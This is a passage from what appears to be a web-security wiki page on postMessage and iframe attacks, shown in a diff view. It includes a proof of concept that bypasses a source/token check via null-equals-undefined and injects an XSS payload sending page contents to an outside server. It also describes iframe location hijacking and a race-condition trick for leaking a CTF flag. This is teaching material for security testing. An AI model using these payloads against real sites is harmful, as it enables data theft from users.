parent.postMessage('remove', '*');
|
||||
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
|
||||
// token=null equals to undefined and e.source will be null so null == undefined
|
||||
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
|
||||
},1000);
|
||||
}
|
||||
|
||||
// this removes the iframe so e.source becomes null in postMessage event.
|
||||
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
|
||||
}
|
||||
setTimeout(start, 1000);
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
```
|
||||
|
||||
## Changing child iframes locations
|
||||
|
||||
According to [**this writeup**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**.\
|
||||
This is specially useful in **postMessages** because if the parent page is sending sensitive data using a **wildcard** like `windowRef.postmessage("","*")` it's possible to **change the location of the iframe to an attacker controlled location** and steal that data.
|
||||
|
||||
## Winning RCs with Iframes
|
||||
|
||||
According to this [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) blob documents created from null origins are isolated for security benefits, which means that if you maintain busy the main page, the iframe page is going to be executed.
|
||||
|
||||
Basically in that challenge an **isolated iframe is executed** and right **after** it's **loaded** the **parent** page is going to **send a post** message with the **flag**.\
|
||||
However, that postmessage communication is **vulnerable to XSS** (the **iframe** can execute JS code).
|
||||
|
||||
Therefore, the goal of the attacker is to **let the parent create the iframe**, but **before** let the **parent** page **send** the sensitive data (**flag**) **keep it busy** and send the **payload to the iframe**. While the **parent is busy** the **iframe executes the payload** which will be some JS that will listen for the **parent postmessage message and leak the flag**.\
|
||||
Finally, the iframe has executed the payload and the parent page stops being busy, so it sends the flag and the payload leaks it.
|
||||
|
||||
But how could you make the parent be **busy right after it generated the iframe and just while it's waiting for the iframe to be ready to send the sensitive data?** Basically, you need to find **async** **action** you could make the parent **execute**. For example, in that challenge the parent was **listening** to **postmessages** like this:
|
||||
|
||||
```javascript
|
||||
window.addEventListener('message', (e) => {
|
||||
if (e.data == 'blob loaded') {
|
||||
$("#previewModal").modal();
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
so it was possible to send a **big integer in a postmessage** that will be **converted to string** in that comparison, which will take some time:
|
||||
|
||||
```bash
|
||||
const buffer = new Uint8Array(1e7);
|
||||
win?.postMessage(buffer, '*', [buffer.buffer]);
|
||||
```
|
||||
|
||||
And in order to be precise and **send** that **postmessage** just **after** the **iframe** is created but **before** it's **ready** to receive the data from the parent, you will need to **play with the miliseconds of a `setTimeout`**.
|
||||
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
|
||||
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue